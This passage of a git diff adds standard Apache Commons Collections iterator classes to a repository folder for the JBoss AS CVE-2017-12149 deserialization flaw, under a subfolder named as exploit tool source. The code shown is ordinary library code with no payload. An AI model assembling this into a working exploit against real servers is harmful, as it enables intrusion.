+ * Reverse iteration is not supported.
+ *
+ * MapIterator it = map.mapIterator();
+ * while (it.hasNext()) {
+ * Object key = it.next();
+ * Object value = it.getValue();
+ * it.setValue(newValue);
+ * }
+ *
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public class EntrySetMapIterator implements MapIterator, ResettableIterator {
+
+ private final Map map;
+ private Iterator iterator;
+ private Map.Entry last;
+ private boolean canRemove = false;
+
+ /**
+ * Constructor.
+ *
+ * @param map the map to iterate over
+ */
+ public EntrySetMapIterator(Map map) {
+ super();
+ this.map = map;
+ this.iterator = map.entrySet().iterator();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks to see if there are more entries still to be iterated.
+ *
+ * @return true
if the iterator has more elements
+ */
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ /**
+ * Gets the next key from the Map
.
+ *
+ * @return the next key in the iteration
+ * @throws java.util.NoSuchElementException if the iteration is finished
+ */
+ public Object next() {
+ last = (Map.Entry) iterator.next();
+ canRemove = true;
+ return last.getKey();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Removes the last returned key from the underlying Map
.
+ * next()
.
+ *
+ * @throws UnsupportedOperationException if remove is not supported by the map
+ * @throws IllegalStateException if next()
has not yet been called
+ * @throws IllegalStateException if remove()
has already been called
+ * since the last call to next()
+ */
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException("Iterator remove() can only be called once after next()");
+ }
+ iterator.remove();
+ last = null;
+ canRemove = false;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the current key, which is the key returned by the last call
+ * to next()
.
+ *
+ * @return the current key
+ * @throws IllegalStateException if next()
has not yet been called
+ */
+ public Object getKey() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getKey() can only be called after next() and before remove()");
+ }
+ return last.getKey();
+ }
+
+ /**
+ * Gets the current value, which is the value associated with the last key
+ * returned by next()
.
+ *
+ * @return the current value
+ * @throws IllegalStateException if next()
has not yet been called
+ */
+ public Object getValue() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getValue() can only be called after next() and before remove()");
+ }
+ return last.getValue();
+ }
+
+ /**
+ * Sets the value associated with the current key.
+ *
+ * @param value the new value
+ * @return the previous value
+ * @throws UnsupportedOperationException if setValue is not supported by the map
+ * @throws IllegalStateException if next()
has not yet been called
+ * @throws IllegalStateException if remove()
has been called since the
+ * last call to next()
+ */
+ public Object setValue(Object value) {
+ if (last == null) {
+ throw new IllegalStateException("Iterator setValue() can only be called after next() and before remove()");
+ }
+ return last.setValue(value);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Resets the state of the iterator.
+ */
+ public void reset() {
+ iterator = map.entrySet().iterator();
+ last = null;
+ canRemove = false;
+ }
+
+ /**
+ * Gets the iterator as a String.
+ *
+ * @return a string version of the iterator
+ */
+ public String toString() {
+ if (last != null) {
+ return "MapIterator[" + getKey() + "=" + getValue() + "]";
+ } else {
+ return "MapIterator[]";
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EnumerationIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EnumerationIterator.java"
new file mode 100644
index 0000000..3038f81
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EnumerationIterator.java"
@@ -0,0 +1,140 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.Iterator;
+
+/**
+ * Adapter to make {@link Enumeration Enumeration} instances appear
+ * to be {@link Iterator Iterator} instances.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.8 $ $Date: 2004/04/21 20:34:12 $
+ *
+ * @author James Strachan
+ * @author Daniel Rall
+ */
+public class EnumerationIterator implements Iterator {
+
+ /** The collection to remove elements from */
+ private Collection collection;
+ /** The enumeration being converted */
+ private Enumeration enumeration;
+ /** The last object retrieved */
+ private Object last;
+
+ // Constructors
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new EnumerationIterator
that will not
+ * function until {@link #setEnumeration(Enumeration)} is called.
+ */
+ public EnumerationIterator() {
+ this(null, null);
+ }
+
+ /**
+ * Constructs a new EnumerationIterator
that provides
+ * an iterator view of the given enumeration.
+ *
+ * @param enumeration the enumeration to use
+ */
+ public EnumerationIterator(final Enumeration enumeration) {
+ this(enumeration, null);
+ }
+
+ /**
+ * Constructs a new EnumerationIterator
that will remove
+ * elements from the specified collection.
+ *
+ * @param enumeration the enumeration to use
+ * @param collection the collection to remove elements form
+ */
+ public EnumerationIterator(final Enumeration enumeration, final Collection collection) {
+ super();
+ this.enumeration = enumeration;
+ this.collection = collection;
+ this.last = null;
+ }
+
+ // Iterator interface
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if the underlying enumeration has more elements.
+ *
+ * @return true if the underlying enumeration has more elements
+ * @throws NullPointerException if the underlying enumeration is null
+ */
+ public boolean hasNext() {
+ return enumeration.hasMoreElements();
+ }
+
+ /**
+ * Returns the next object from the enumeration.
+ *
+ * @return the next object from the enumeration
+ * @throws NullPointerException if the enumeration is null
+ */
+ public Object next() {
+ last = enumeration.nextElement();
+ return last;
+ }
+
+ /**
+ * Removes the last retrieved element if a collection is attached.
+ * Collection
is known.
+ * If so, the first occurrence of the last returned object from this
+ * iterator will be removed from the collection.
+ *
+ * @exception IllegalStateException next()
not called.
+ * @exception UnsupportedOperationException if no associated collection
+ */
+ public void remove() {
+ if (collection != null) {
+ if (last != null) {
+ collection.remove(last);
+ } else {
+ throw new IllegalStateException("next() must have been called for remove() to function");
+ }
+ } else {
+ throw new UnsupportedOperationException("No Collection associated with this Iterator");
+ }
+ }
+
+ // Properties
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the underlying enumeration.
+ *
+ * @return the underlying enumeration
+ */
+ public Enumeration getEnumeration() {
+ return enumeration;
+ }
+
+ /**
+ * Sets the underlying enumeration.
+ *
+ * @param enumeration the new underlying enumeration
+ */
+ public void setEnumeration(final Enumeration enumeration) {
+ this.enumeration = enumeration;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterIterator.java"
new file mode 100644
index 0000000..96a0a2e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterIterator.java"
@@ -0,0 +1,184 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Decorates an iterator such that only elements matching a predicate filter
+ * are returned.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.8 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author James Strachan
+ * @author Jan Sorensen
+ * @author Ralph Wagner
+ * @author Stephen Colebourne
+ */
+public class FilterIterator implements Iterator {
+
+ /** The iterator being used */
+ private Iterator iterator;
+ /** The predicate being used */
+ private Predicate predicate;
+ /** The next object in the iteration */
+ private Object nextObject;
+ /** Whether the next object has been calculated yet */
+ private boolean nextObjectSet = false;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new FilterIterator
that will not function
+ * until {@link #setIterator(Iterator) setIterator} is invoked.
+ */
+ public FilterIterator() {
+ super();
+ }
+
+ /**
+ * Constructs a new FilterIterator
that will not function
+ * until {@link #setPredicate(Predicate) setPredicate} is invoked.
+ *
+ * @param iterator the iterator to use
+ */
+ public FilterIterator(Iterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ /**
+ * Constructs a new FilterIterator
that will use the
+ * given iterator and predicate.
+ *
+ * @param iterator the iterator to use
+ * @param predicate the predicate to use
+ */
+ public FilterIterator(Iterator iterator, Predicate predicate) {
+ super();
+ this.iterator = iterator;
+ this.predicate = predicate;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if the underlying iterator contains an object that
+ * matches the predicate.
+ *
+ * @return true if there is another object that matches the predicate
+ */
+ public boolean hasNext() {
+ if (nextObjectSet) {
+ return true;
+ } else {
+ return setNextObject();
+ }
+ }
+
+ /**
+ * Returns the next object that matches the predicate.
+ *
+ * @return the next object which matches the given predicate
+ * @throws NoSuchElementException if there are no more elements that
+ * match the predicate
+ */
+ public Object next() {
+ if (!nextObjectSet) {
+ if (!setNextObject()) {
+ throw new NoSuchElementException();
+ }
+ }
+ nextObjectSet = false;
+ return nextObject;
+ }
+
+ /**
+ * Removes from the underlying collection of the base iterator the last
+ * element returned by this iterator.
+ * This method can only be called
+ * if next()
was called, but not after
+ * hasNext()
, because the hasNext()
call
+ * changes the base iterator.
+ *
+ * @throws IllegalStateException if hasNext()
has already
+ * been called.
+ */
+ public void remove() {
+ if (nextObjectSet) {
+ throw new IllegalStateException("remove() cannot be called");
+ }
+ iterator.remove();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the iterator this iterator is using.
+ *
+ * @return the iterator.
+ */
+ public Iterator getIterator() {
+ return iterator;
+ }
+
+ /**
+ * Sets the iterator for this iterator to use.
+ * If iteration has started, this effectively resets the iterator.
+ *
+ * @param iterator the iterator to use
+ */
+ public void setIterator(Iterator iterator) {
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the predicate this iterator is using.
+ *
+ * @return the predicate.
+ */
+ public Predicate getPredicate() {
+ return predicate;
+ }
+
+ /**
+ * Sets the predicate this the iterator to use.
+ *
+ * @param predicate the transformer to use
+ */
+ public void setPredicate(Predicate predicate) {
+ this.predicate = predicate;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Set nextObject to the next object. If there are no more
+ * objects then return false. Otherwise, return true.
+ */
+ private boolean setNextObject() {
+ while (iterator.hasNext()) {
+ Object object = iterator.next();
+ if (predicate.evaluate(object)) {
+ nextObject = object;
+ nextObjectSet = true;
+ return true;
+ }
+ }
+ return false;
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterListIterator.java"
new file mode 100644
index 0000000..fe511ce
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterListIterator.java"
@@ -0,0 +1,284 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * A proxy {@link ListIterator ListIterator} which
+ * takes a {@link Predicate Predicate} instance to filter
+ * out objects from an underlying ListIterator
+ * instance. Only objects for which the specified
+ * Predicate
evaluates to true
are
+ * returned by the iterator.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Rodney Waldhoff
+ */
+public class FilterListIterator implements ListIterator {
+
+ /** The iterator being used */
+ private ListIterator iterator;
+
+ /** The predicate being used */
+ private Predicate predicate;
+
+ /**
+ * The value of the next (matching) object, when
+ * {@link #nextObjectSet} is true.
+ */
+ private Object nextObject;
+
+ /**
+ * Whether or not the {@link #nextObject} has been set
+ * (possibly to null
).
+ */
+ private boolean nextObjectSet = false;
+
+ /**
+ * The value of the previous (matching) object, when
+ * {@link #previousObjectSet} is true.
+ */
+ private Object previousObject;
+
+ /**
+ * Whether or not the {@link #previousObject} has been set
+ * (possibly to null
).
+ */
+ private boolean previousObjectSet = false;
+
+ /**
+ * The index of the element that would be returned by {@link #next}.
+ */
+ private int nextIndex = 0;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new FilterListIterator
that will not
+ * function until
+ * {@link ProxyListIterator#setListIterator(ListIterator) setListIterator}
+ * and {@link #setPredicate(Predicate) setPredicate} are invoked.
+ */
+ public FilterListIterator() {
+ super();
+ }
+
+ /**
+ * Constructs a new FilterListIterator
that will not
+ * function until {@link #setPredicate(Predicate) setPredicate} is invoked.
+ *
+ * @param iterator the iterator to use
+ */
+ public FilterListIterator(ListIterator iterator ) {
+ super();
+ this.iterator = iterator;
+ }
+
+ /**
+ * Constructs a new FilterListIterator
.
+ *
+ * @param iterator the iterator to use
+ * @param predicate the predicate to use
+ */
+ public FilterListIterator(ListIterator iterator, Predicate predicate) {
+ super();
+ this.iterator = iterator;
+ this.predicate = predicate;
+ }
+
+ /**
+ * Constructs a new FilterListIterator
that will not
+ * function until
+ * {@link ProxyListIterator#setListIterator(ListIterator) setListIterator}
+ * is invoked.
+ *
+ * @param predicate the predicate to use.
+ */
+ public FilterListIterator(Predicate predicate) {
+ super();
+ this.predicate = predicate;
+ }
+
+ //-----------------------------------------------------------------------
+ /** Not supported. */
+ public void add(Object o) {
+ throw new UnsupportedOperationException("FilterListIterator.add(Object) is not supported.");
+ }
+
+ public boolean hasNext() {
+ if(nextObjectSet) {
+ return true;
+ } else {
+ return setNextObject();
+ }
+ }
+
+ public boolean hasPrevious() {
+ if(previousObjectSet) {
+ return true;
+ } else {
+ return setPreviousObject();
+ }
+ }
+
+ public Object next() {
+ if(!nextObjectSet) {
+ if(!setNextObject()) {
+ throw new NoSuchElementException();
+ }
+ }
+ nextIndex++;
+ Object temp = nextObject;
+ clearNextObject();
+ return temp;
+ }
+
+ public int nextIndex() {
+ return nextIndex;
+ }
+
+ public Object previous() {
+ if(!previousObjectSet) {
+ if(!setPreviousObject()) {
+ throw new NoSuchElementException();
+ }
+ }
+ nextIndex--;
+ Object temp = previousObject;
+ clearPreviousObject();
+ return temp;
+ }
+
+ public int previousIndex() {
+ return (nextIndex-1);
+ }
+
+ /** Not supported. */
+ public void remove() {
+ throw new UnsupportedOperationException("FilterListIterator.remove() is not supported.");
+ }
+
+ /** Not supported. */
+ public void set(Object o) {
+ throw new UnsupportedOperationException("FilterListIterator.set(Object) is not supported.");
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the iterator this iterator is using.
+ *
+ * @return the iterator.
+ */
+ public ListIterator getListIterator() {
+ return iterator;
+ }
+
+ /**
+ * Sets the iterator for this iterator to use.
+ * If iteration has started, this effectively resets the iterator.
+ *
+ * @param iterator the iterator to use
+ */
+ public void setListIterator(ListIterator iterator) {
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the predicate this iterator is using.
+ *
+ * @return the predicate.
+ */
+ public Predicate getPredicate() {
+ return predicate;
+ }
+
+ /**
+ * Sets the predicate this the iterator to use.
+ *
+ * @param predicate the transformer to use
+ */
+ public void setPredicate(Predicate predicate) {
+ this.predicate = predicate;
+ }
+
+ //-----------------------------------------------------------------------
+ private void clearNextObject() {
+ nextObject = null;
+ nextObjectSet = false;
+ }
+
+ private boolean setNextObject() {
+ // if previousObjectSet,
+ // then we've walked back one step in the
+ // underlying list (due to a hasPrevious() call)
+ // so skip ahead one matching object
+ if(previousObjectSet) {
+ clearPreviousObject();
+ if(!setNextObject()) {
+ return false;
+ } else {
+ clearNextObject();
+ }
+ }
+
+ while(iterator.hasNext()) {
+ Object object = iterator.next();
+ if(predicate.evaluate(object)) {
+ nextObject = object;
+ nextObjectSet = true;
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private void clearPreviousObject() {
+ previousObject = null;
+ previousObjectSet = false;
+ }
+
+ private boolean setPreviousObject() {
+ // if nextObjectSet,
+ // then we've walked back one step in the
+ // underlying list (due to a hasNext() call)
+ // so skip ahead one matching object
+ if(nextObjectSet) {
+ clearNextObject();
+ if(!setPreviousObject()) {
+ return false;
+ } else {
+ clearPreviousObject();
+ }
+ }
+
+ while(iterator.hasPrevious()) {
+ Object object = iterator.previous();
+ if(predicate.evaluate(object)) {
+ previousObject = object;
+ previousObjectSet = true;
+ return true;
+ }
+ }
+ return false;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorChain.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorChain.java"
new file mode 100644
index 0000000..b2aa98c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorChain.java"
@@ -0,0 +1,288 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * An IteratorChain is an Iterator that wraps a number of Iterators.
+ * IteratorChain
over the two
+ * given iterators.
+ *
+ * @param a the first child iterator
+ * @param b the second child iterator
+ * @throws NullPointerException if either iterator is null
+ */
+ public IteratorChain(Iterator a, Iterator b) {
+ super();
+ addIterator(a);
+ addIterator(b);
+ }
+
+ /**
+ * Constructs a new IteratorChain
over the array
+ * of iterators.
+ *
+ * @param iterators the array of iterators
+ * @throws NullPointerException if iterators array is or contains null
+ */
+ public IteratorChain(Iterator[] iterators) {
+ super();
+ for (int i = 0; i < iterators.length; i++) {
+ addIterator(iterators[i]);
+ }
+ }
+
+ /**
+ * Constructs a new IteratorChain
over the collection
+ * of iterators.
+ *
+ * @param iterators the collection of iterators
+ * @throws NullPointerException if iterators collection is or contains null
+ * @throws ClassCastException if iterators collection doesn't contain an iterator
+ */
+ public IteratorChain(Collection iterators) {
+ super();
+ for (Iterator it = iterators.iterator(); it.hasNext();) {
+ Iterator item = (Iterator) it.next();
+ addIterator(item);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Add an Iterator to the end of the chain
+ *
+ * @param iterator Iterator to add
+ * @throws IllegalStateException if I've already started iterating
+ * @throws NullPointerException if the iterator is null
+ */
+ public void addIterator(Iterator iterator) {
+ checkLocked();
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ iteratorChain.add(iterator);
+ }
+
+ /**
+ * Set the Iterator at the given index
+ *
+ * @param index index of the Iterator to replace
+ * @param iterator Iterator to place at the given index
+ * @throws IndexOutOfBoundsException if index < 0 or index > size()
+ * @throws IllegalStateException if I've already started iterating
+ * @throws NullPointerException if the iterator is null
+ */
+ public void setIterator(int index, Iterator iterator) throws IndexOutOfBoundsException {
+ checkLocked();
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ iteratorChain.set(index, iterator);
+ }
+
+ /**
+ * Get the list of Iterators (unmodifiable)
+ *
+ * @return the unmodifiable list of iterators added
+ */
+ public List getIterators() {
+ return UnmodifiableList.decorate(iteratorChain);
+ }
+
+ /**
+ * Number of Iterators in the current IteratorChain.
+ *
+ * @return Iterator count
+ */
+ public int size() {
+ return iteratorChain.size();
+ }
+
+ /**
+ * Determine if modifications can still be made to the IteratorChain.
+ * IteratorChains cannot be modified once they have executed a method
+ * from the Iterator interface.
+ *
+ * @return true if IteratorChain cannot be modified, false if it can
+ */
+ public boolean isLocked() {
+ return isLocked;
+ }
+
+ /**
+ * Checks whether the iterator chain is now locked and in use.
+ */
+ private void checkLocked() {
+ if (isLocked == true) {
+ throw new UnsupportedOperationException("IteratorChain cannot be changed after the first use of a method from the Iterator interface");
+ }
+ }
+
+ /**
+ * Lock the chain so no more iterators can be added.
+ * This must be called from all Iterator interface methods.
+ */
+ private void lockChain() {
+ if (isLocked == false) {
+ isLocked = true;
+ }
+ }
+
+ /**
+ * Updates the current iterator field to ensure that the current Iterator
+ * is not exhausted
+ */
+ protected void updateCurrentIterator() {
+ if (currentIterator == null) {
+ if (iteratorChain.isEmpty()) {
+ currentIterator = EmptyIterator.INSTANCE;
+ } else {
+ currentIterator = (Iterator) iteratorChain.get(0);
+ }
+ // set last used iterator here, in case the user calls remove
+ // before calling hasNext() or next() (although they shouldn't)
+ lastUsedIterator = currentIterator;
+ }
+
+ while (currentIterator.hasNext() == false && currentIteratorIndex < iteratorChain.size() - 1) {
+ currentIteratorIndex++;
+ currentIterator = (Iterator) iteratorChain.get(currentIteratorIndex);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Return true if any Iterator in the IteratorChain has a remaining element.
+ *
+ * @return true if elements remain
+ */
+ public boolean hasNext() {
+ lockChain();
+ updateCurrentIterator();
+ lastUsedIterator = currentIterator;
+
+ return currentIterator.hasNext();
+ }
+
+ /**
+ * Returns the next Object of the current Iterator
+ *
+ * @return Object from the current Iterator
+ * @throws java.util.NoSuchElementException if all the Iterators are exhausted
+ */
+ public Object next() {
+ lockChain();
+ updateCurrentIterator();
+ lastUsedIterator = currentIterator;
+
+ return currentIterator.next();
+ }
+
+ /**
+ * Removes from the underlying collection the last element
+ * returned by the Iterator. As with next() and hasNext(),
+ * this method calls remove() on the underlying Iterator.
+ * Therefore, this method may throw an
+ * UnsupportedOperationException if the underlying
+ * Iterator does not support this method.
+ *
+ * @throws UnsupportedOperationException
+ * if the remove operator is not supported by the underlying Iterator
+ * @throws IllegalStateException
+ * if the next method has not yet been called, or the remove method has
+ * already been called after the last call to the next method.
+ */
+ public void remove() {
+ lockChain();
+ updateCurrentIterator();
+
+ lastUsedIterator.remove();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorEnumeration.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorEnumeration.java"
new file mode 100644
index 0000000..9bae94e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorEnumeration.java"
@@ -0,0 +1,99 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Enumeration;
+import java.util.Iterator;
+
+/**
+ * Adapter to make an {@link Iterator Iterator} instance appear to be
+ * an {@link Enumeration Enumeration} instance.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.9 $ $Date: 2004/05/03 10:23:38 $
+ *
+ * @author James Strachan
+ */
+public class IteratorEnumeration implements Enumeration {
+
+ /** The iterator being decorated. */
+ private Iterator iterator;
+
+ /**
+ * Constructs a new IteratorEnumeration
that will not
+ * function until {@link #setIterator(Iterator) setIterator} is
+ * invoked.
+ */
+ public IteratorEnumeration() {
+ super();
+ }
+
+ /**
+ * Constructs a new IteratorEnumeration
that will use
+ * the given iterator.
+ *
+ * @param iterator the iterator to use
+ */
+ public IteratorEnumeration( Iterator iterator ) {
+ super();
+ this.iterator = iterator;
+ }
+
+ // Iterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns true if the underlying iterator has more elements.
+ *
+ * @return true if the underlying iterator has more elements
+ */
+ public boolean hasMoreElements() {
+ return iterator.hasNext();
+ }
+
+ /**
+ * Returns the next element from the underlying iterator.
+ *
+ * @return the next element from the underlying iterator.
+ * @throws java.util.NoSuchElementException if the underlying iterator has no
+ * more elements
+ */
+ public Object nextElement() {
+ return iterator.next();
+ }
+
+ // Properties
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns the underlying iterator.
+ *
+ * @return the underlying iterator
+ */
+ public Iterator getIterator() {
+ return iterator;
+ }
+
+ /**
+ * Sets the underlying iterator.
+ *
+ * @param iterator the new underlying iterator
+ */
+ public void setIterator( Iterator iterator ) {
+ this.iterator = iterator;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java"
new file mode 100644
index 0000000..4c8fc54
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java"
@@ -0,0 +1,179 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+/**
+ * As the wrapped Iterator is traversed, ListIteratorWrapper
+ * builds a LinkedList of its values, permitting all required
+ * operations of ListIterator.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Morgan Delagrange
+ * @author Stephen Colebourne
+ */
+public class ListIteratorWrapper implements ListIterator {
+
+ /** Holds value of property "iterator" */
+ private final Iterator iterator;
+ private final LinkedList list = new LinkedList();
+
+ // position of this iterator
+ private int currentIndex = 0;
+ // position of the wrapped iterator
+ // this Iterator should only be used to populate the list
+ private int wrappedIteratorIndex = 0;
+
+ private static final String UNSUPPORTED_OPERATION_MESSAGE =
+ "ListIteratorWrapper does not support optional operations of ListIterator.";
+
+ // Constructor
+ //-------------------------------------------------------------------------
+
+ /**
+ * Constructs a new ListIteratorWrapper
that will wrap
+ * the given iterator.
+ *
+ * @param iterator the iterator to wrap
+ * @throws NullPointerException if the iterator is null
+ */
+ public ListIteratorWrapper(Iterator iterator) {
+ super();
+ if (iterator == null) {
